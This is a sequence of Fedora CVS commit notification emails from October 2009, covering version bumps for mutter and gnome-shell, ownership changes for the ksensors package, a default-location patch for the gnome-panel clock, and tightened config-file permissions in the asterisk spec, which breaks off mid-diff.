--- mutter.spec	15 Sep 2009 21:44:53 -0000	1.11
+++ mutter.spec	8 Oct 2009 01:18:26 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           mutter
-Version:        2.27.5
-Release:        1%{?dist}
+Version:        2.28.0
+Release:        2%{?dist}
 Summary:        Window and compositing manager based on Clutter
 
 Group:          User Interface/Desktops
@@ -147,6 +147,9 @@ gconftool-2 --makefile-install-rule \
 %doc %{_mandir}/man1/mutter-window-demo.1.gz
 
 %changelog
+* Wed Oct  7 2009 Owen Taylor <otaylor at redhat.com> - 2.28.0-1
+- Update to 2.28.0
+
 * Tue Sep 15 2009 Owen Taylor <otaylor at redhat.com> - 2.27.5-1
 - Update to 2.27.5
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mutter/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	15 Sep 2009 21:44:53 -0000	1.6
+++ sources	8 Oct 2009 01:18:26 -0000	1.7
@@ -1 +1 @@
-1ec88207ff366c09b8c590775d28ac3b  mutter-2.27.5.tar.bz2
+3926895782024cff7af7ca480df46b4f  mutter-2.28.0.tar.bz2



From otaylor at fedoraproject.org  Thu Oct  8 01:22:32 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 01:22:32 +0000 (UTC)
Subject: rpms/mutter/devel mutter.spec,1.12,1.13
Message-ID: <20091008012232.74BE811C00E6@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/mutter/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30996

Modified Files:
	mutter.spec 
Log Message:
Bump for rebuild


Index: mutter.spec
===================================================================
RCS file: /cvs/extras/rpms/mutter/devel/mutter.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- mutter.spec	8 Oct 2009 01:01:18 -0000	1.12
+++ mutter.spec	8 Oct 2009 01:22:32 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           mutter
 Version:        2.28.0
-Release:        1%{?dist}
+Release:        3%{?dist}
 Summary:        Window and compositing manager based on Clutter
 
 Group:          User Interface/Desktops



From otaylor at fedoraproject.org  Thu Oct  8 01:26:53 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 01:26:53 +0000 (UTC)
Subject: rpms/gnome-shell/devel .cvsignore, 1.5, 1.6 gnome-shell.spec, 1.8, 
	1.9 sources, 1.5, 1.6
Message-ID: <20091008012653.6F69311C00E6@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/gnome-shell/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31926

Modified Files:
	.cvsignore gnome-shell.spec sources 
Log Message:
Update to 2.28.0


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	15 Sep 2009 22:07:45 -0000	1.5
+++ .cvsignore	8 Oct 2009 01:26:53 -0000	1.6
@@ -2,3 +2,4 @@ gnome-shell-2.27.0.tar.bz2
 gnome-shell-2.27.1.tar.bz2
 gnome-shell-2.27.2.tar.bz2
 gnome-shell-2.27.3.tar.bz2
+gnome-shell-2.28.0.tar.bz2


Index: gnome-shell.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/devel/gnome-shell.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gnome-shell.spec	15 Sep 2009 22:07:45 -0000	1.8
+++ gnome-shell.spec	8 Oct 2009 01:26:53 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           gnome-shell
-Version:        2.27.3
-Release:        1
+Version:        2.28.0
+Release:        2
 Summary:        Window management and application launching for GNOME
 
 Group:          User Interface/Desktops
@@ -11,7 +11,7 @@ BuildRoot:      %(mktemp -ud %{_tmppath}
 
 %define clutter_version 1.0.0
 %define gobject_introspection_version 0.6.5
-%define mutter_version 2.27.3
+%define mutter_version 2.28.0
 
 BuildRequires:  clutter-devel >= %{clutter_version}
 BuildRequires:  dbus-glib-devel
@@ -118,6 +118,9 @@ gconftool-2 --makefile-install-rule \
   > /dev/null || :
 
 %changelog
+* Wed Oct  7 2009 Owen Taylor <otaylor at redhat.com> - 2.28.0-2
+- Update to 2.28.0
+
 * Tue Sep 15 2009 Owen Taylor <otaylor at redhat.com> - 2.27.3-1
 - Update to 2.27.3
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	15 Sep 2009 22:07:45 -0000	1.5
+++ sources	8 Oct 2009 01:26:53 -0000	1.6
@@ -1 +1,2 @@
 3b198ac1d5b72d2a04da82ed548249d6  gnome-shell-2.27.3.tar.bz2
+a9f93a6f03da60f2f6e3fb82a9e7dc94  gnome-shell-2.28.0.tar.bz2



From otaylor at fedoraproject.org  Thu Oct  8 01:28:04 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 01:28:04 +0000 (UTC)
Subject: rpms/gnome-shell/F-12 gnome-shell.spec,1.8,1.9 sources,1.5,1.6
Message-ID: <20091008012804.0755711C00E6@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/gnome-shell/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32613

Modified Files:
	gnome-shell.spec sources 
Log Message:
Update to 2.28.0


Index: gnome-shell.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/F-12/gnome-shell.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gnome-shell.spec	15 Sep 2009 22:07:45 -0000	1.8
+++ gnome-shell.spec	8 Oct 2009 01:28:03 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           gnome-shell
-Version:        2.27.3
+Version:        2.28.0
 Release:        1
 Summary:        Window management and application launching for GNOME
 
@@ -11,7 +11,7 @@ BuildRoot:      %(mktemp -ud %{_tmppath}
 
 %define clutter_version 1.0.0
 %define gobject_introspection_version 0.6.5
-%define mutter_version 2.27.3
+%define mutter_version 2.28.0
 
 BuildRequires:  clutter-devel >= %{clutter_version}
 BuildRequires:  dbus-glib-devel
@@ -118,6 +118,9 @@ gconftool-2 --makefile-install-rule \
   > /dev/null || :
 
 %changelog
+* Wed Oct  7 2009 Owen Taylor <otaylor at redhat.com> - 2.28.0-1
+- Update to 2.28.0
+
 * Tue Sep 15 2009 Owen Taylor <otaylor at redhat.com> - 2.27.3-1
 - Update to 2.27.3
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	15 Sep 2009 22:07:45 -0000	1.5
+++ sources	8 Oct 2009 01:28:03 -0000	1.6
@@ -1 +1 @@
-3b198ac1d5b72d2a04da82ed548249d6  gnome-shell-2.27.3.tar.bz2
+a9f93a6f03da60f2f6e3fb82a9e7dc94  gnome-shell-2.28.0.tar.bz2



From otaylor at fedoraproject.org  Thu Oct  8 01:47:08 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 01:47:08 +0000 (UTC)
Subject: rpms/gnome-shell/devel gnome-shell.spec,1.9,1.10
Message-ID: <20091008014708.88C4411C00E6@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/gnome-shell/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6577

Modified Files:
	gnome-shell.spec 
Log Message:
Bump for rebuild


Index: gnome-shell.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/devel/gnome-shell.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- gnome-shell.spec	8 Oct 2009 01:26:53 -0000	1.9
+++ gnome-shell.spec	8 Oct 2009 01:47:06 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           gnome-shell
 Version:        2.28.0
-Release:        2
+Release:        4
 Summary:        Window management and application launching for GNOME
 
 Group:          User Interface/Desktops



From pkgdb at fedoraproject.org  Thu Oct  8 02:16:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:16:53 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008021653.6097210F84D@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora devel was orphaned by lyosnorezel

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:17:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:17:05 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008021705.B3D0810F84D@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 8 was orphaned by lyosnorezel

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:17:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:17:09 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008021710.07D2D10F880@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 9 was orphaned by lyosnorezel

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:17:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:17:10 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008021711.071CE10F892@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 10 was orphaned by lyosnorezel

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:17:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:17:14 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008021714.9BA1C10F894@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 11 was orphaned by lyosnorezel

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:17:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:17:16 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008021716.26CC610F895@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 12 was orphaned by lyosnorezel

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:21:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:21:09 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008022109.9070810F84D@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora devel is now owned by kkofler

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:21:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:21:19 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008022119.C25D110F84D@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 12 is now owned by kkofler

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:21:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:21:23 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008022123.7FDE210F84D@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 11 is now owned by kkofler

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From pkgdb at fedoraproject.org  Thu Oct  8 02:21:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 02:21:33 +0000
Subject: [pkgdb] ksensors ownership updated
Message-ID: <20091008022133.9070910F84D@bastion2.fedora.phx.redhat.com>

Package ksensors in Fedora 10 is now owned by kkofler

To make changes to this package see:
  /pkgdb/packages/name/ksensors



From mclasen at fedoraproject.org  Thu Oct  8 02:39:06 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 02:39:06 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 clock-home.patch, NONE, 1.1 gnome-panel.spec, 
	1.370, 1.371
Message-ID: <20091008023906.4628F11C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19650

Modified Files:
	gnome-panel.spec 
Added Files:
	clock-home.patch 
Log Message:
Add a default location


clock-home.patch:
 clock.schemas.in |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE clock-home.patch ---
diff -up gnome-panel-2.28.0/applets/clock/clock.schemas.in.clock-home gnome-panel-2.28.0/applets/clock/clock.schemas.in
--- gnome-panel-2.28.0/applets/clock/clock.schemas.in.clock-home	2009-07-01 09:06:23.000000000 -0400
+++ gnome-panel-2.28.0/applets/clock/clock.schemas.in	2009-10-07 22:36:12.298466938 -0400
@@ -211,7 +211,7 @@
         <key>/schemas/apps/clock_applet/prefs/expand_locations</key>
         <owner>clock-applet</owner>
         <type>bool</type>
-        <default>false</default>
+        <default>true</default>
         <locale name="C">
           <short>Expand list of locations</short>
           <long>
@@ -271,7 +271,7 @@
         <owner>clock-applet</owner>
         <type>list</type>
         <list_type>string</list_type>
-        <default>[]</default>
+        <default>[&lt;location name=&quot;&quot; city=&quot;Boston&quot; timezone=&quot;America/New_York&quot; latitude=&quot;42.360558&quot; longitude=&quot;-71.010559&quot; code=&quot;KBOS&quot; current=&quot;true&quot;/&gt;]</default>
         <locale name="C">
           <short>List of locations</short>
           <long>


Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.370
retrieving revision 1.371
diff -u -p -r1.370 -r1.371
--- gnome-panel.spec	24 Sep 2009 00:34:44 -0000	1.370
+++ gnome-panel.spec	8 Oct 2009 02:39:05 -0000	1.371
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -111,6 +111,8 @@ Patch35: clock-wakeups.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=579092
 Patch38: clock-network.patch
 
+Patch40: clock-home.patch
+
 Conflicts: gnome-power-manager < 2.15.3
 
 %description
@@ -156,6 +158,7 @@ Panel Applets using the libpanel-applet 
 %patch24 -p1 -b .allow-spurious-view-done-signals
 %patch35 -p1 -b .clock-wakeups
 %patch38 -p1 -b .clock-network
+%patch40 -p1 -b .clock-home
 
 . %{SOURCE6}
 
@@ -354,6 +357,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-2
+- Add a default location to the clock applet
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 



From jcollie at fedoraproject.org  Thu Oct  8 03:00:23 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu,  8 Oct 2009 03:00:23 +0000 (UTC)
Subject: rpms/asterisk/devel asterisk.spec,1.59,1.60
Message-ID: <20091008030023.63D3311C0265@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24416

Modified Files:
	asterisk.spec 
Log Message:
* Wed Oct  7 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.5.rc3
- Change ownership and permissions on config files to protect them.



Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/asterisk.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- asterisk.spec	7 Oct 2009 02:13:10 -0000	1.59
+++ asterisk.spec	8 Oct 2009 03:00:20 -0000	1.60
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.2.0
-Release: 0.4%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.5%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -731,57 +731,57 @@ fi
 %{_mandir}/man8/autosupport.8*
 %{_mandir}/man8/safe_asterisk.8*
 
-%dir %{_sysconfdir}/asterisk
-%config(noreplace) %{_sysconfdir}/asterisk/adsi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/adtranvofr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/agents.conf
-%config(noreplace) %{_sysconfdir}/asterisk/alarmreceiver.conf
-%config(noreplace) %{_sysconfdir}/asterisk/amd.conf
-%config(noreplace) %{_sysconfdir}/asterisk/asterisk.adsi
-%config(noreplace) %{_sysconfdir}/asterisk/asterisk.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_custom.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_manager.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cli.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cli_aliases.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cli_permissions.conf
-%config(noreplace) %{_sysconfdir}/asterisk/codecs.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dnsmgr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dsp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dundi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/enum.conf
-%config(noreplace) %{_sysconfdir}/asterisk/extconfig.conf
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.ael
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.conf
-%config(noreplace) %{_sysconfdir}/asterisk/features.conf
-%config(noreplace) %{_sysconfdir}/asterisk/followme.conf
-%config(noreplace) %{_sysconfdir}/asterisk/h323.conf
-%config(noreplace) %{_sysconfdir}/asterisk/http.conf
-%config(noreplace) %{_sysconfdir}/asterisk/iax.conf
-%config(noreplace) %{_sysconfdir}/asterisk/iaxprov.conf
-%config(noreplace) %{_sysconfdir}/asterisk/indications.conf
-%config(noreplace) %{_sysconfdir}/asterisk/logger.conf
-%config(noreplace) %{_sysconfdir}/asterisk/manager.conf
-%config(noreplace) %{_sysconfdir}/asterisk/mgcp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/modules.conf
-%config(noreplace) %{_sysconfdir}/asterisk/musiconhold.conf
-%config(noreplace) %{_sysconfdir}/asterisk/muted.conf
-%config(noreplace) %{_sysconfdir}/asterisk/osp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/phone.conf
-%config(noreplace) %{_sysconfdir}/asterisk/phoneprov.conf
-%config(noreplace) %{_sysconfdir}/asterisk/queuerules.conf
-%config(noreplace) %{_sysconfdir}/asterisk/queues.conf
-%config(noreplace) %{_sysconfdir}/asterisk/rpt.conf
-%config(noreplace) %{_sysconfdir}/asterisk/rtp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/say.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sip.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sip_notify.conf
-%config(noreplace) %{_sysconfdir}/asterisk/sla.conf
-%config(noreplace) %{_sysconfdir}/asterisk/smdi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/telcordia-1.adsi
-%config(noreplace) %{_sysconfdir}/asterisk/udptl.conf
-%config(noreplace) %{_sysconfdir}/asterisk/users.conf
-%config(noreplace) %{_sysconfdir}/asterisk/vpb.conf
+%attr(0750,asterisk,asterisk) %dir %{_sysconfdir}/asterisk
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/adsi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/adtranvofr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/agents.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/alarmreceiver.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/amd.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/asterisk.adsi
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/asterisk.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_custom.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cdr_manager.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cli.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cli_aliases.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/cli_permissions.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/codecs.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dnsmgr.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dsp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dundi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/enum.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extconfig.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.ael
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/features.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/followme.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/h323.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/http.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/iax.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/iaxprov.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/indications.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/logger.conf
+%attr(0600,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/manager.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/mgcp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/modules.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/musiconhold.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/muted.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/osp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/phone.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/phoneprov.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/queuerules.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/queues.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/rpt.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/rtp.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/say.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sip.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sip_notify.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/sla.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/smdi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/telcordia-1.adsi
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/udptl.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/users.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/vpb.conf
 
 %config(noreplace) %{_sysconfdir}/logrotate.d/asterisk
 
@@ -791,7 +791,7 @@ fi
 %dir %{_datadir}/asterisk/firmware
 %dir %{_datadir}/asterisk/firmware/iax
 %{_datadir}/asterisk/images
-%{_datadir}/asterisk/keys
+%attr(0750,asterisk,asterisk) %{_datadir}/asterisk/keys
 %{_datadir}/asterisk/phoneprov
 %{_datadir}/asterisk/static-http
 %dir %{_datadir}/asterisk/moh
@@ -814,12 +814,12 @@ fi
 
 %files ais
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/ais.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/ais.conf
 %{_libdir}/asterisk/modules/res_ais.so
 
 %files alsa
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/alsa.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/alsa.conf
 %{_libdir}/asterisk/modules/chan_alsa.so
 
 %files apidoc
@@ -829,15 +829,15 @@ fi
 %files curl
 %defattr(-,root,root,-)
 %doc contrib/scripts/dbsep.cgi
-%config(noreplace) %{_sysconfdir}/asterisk/dbsep.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/dbsep.conf
 %{_libdir}/asterisk/modules/func_curl.so
 %{_libdir}/asterisk/modules/res_config_curl.so
 %{_libdir}/asterisk/modules/res_curl.so
 
 %files dahdi
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/meetme.conf
-%config(noreplace) %{_sysconfdir}/asterisk/chan_dahdi.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/meetme.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/chan_dahdi.conf
 %{_libdir}/asterisk/modules/app_flash.so
 %{_libdir}/asterisk/modules/app_meetme.so
 %{_libdir}/asterisk/modules/app_page.so
@@ -865,7 +865,7 @@ fi
 
 %files festival
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/festival.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/festival.conf
 %attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival
 %{_libdir}/asterisk/modules/app_festival.so
 
@@ -878,9 +878,9 @@ fi
 %defattr(-,root,root,-)
 %doc doc/jabber.txt
 %doc doc/jingle.txt
-%config(noreplace) %{_sysconfdir}/asterisk/gtalk.conf
-%config(noreplace) %{_sysconfdir}/asterisk/jabber.conf
-%config(noreplace) %{_sysconfdir}/asterisk/jingle.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/gtalk.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/jabber.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/jingle.conf
 %{_libdir}/asterisk/modules/chan_gtalk.so
 %{_libdir}/asterisk/modules/chan_jingle.so
 %{_libdir}/asterisk/modules/res_jabber.so
@@ -891,13 +891,13 @@ fi
 
 %files lua
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.lua
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions.lua
 %{_libdir}/asterisk/modules/pbx_lua.so
 
 %files ldap
 %defattr(-,root,root,-)
 %doc doc/ldap.txt
-%config(noreplace) %{_sysconfdir}/asterisk/res_ldap.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/res_ldap.conf
 %{_libdir}/asterisk/modules/res_config_ldap.so
 
 %files ldap-fds
@@ -906,21 +906,21 @@ fi
 
 %files minivm
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/extensions_minivm.conf
-%config(noreplace) %{_sysconfdir}/asterisk/minivm.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/extensions_minivm.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/minivm.conf
 %{_libdir}/asterisk/modules/app_minivm.so
 
 %files misdn
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/misdn.conf
+%attr(0640,asterisk,asterisk) %config(noreplace) %{_sysconfdir}/asterisk/misdn.conf
 %{_libdir}/asterisk/modules/chan_misdn.so
 
 %files odbc
 %defattr(-,root,root,-)
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_adaptive_odbc.conf
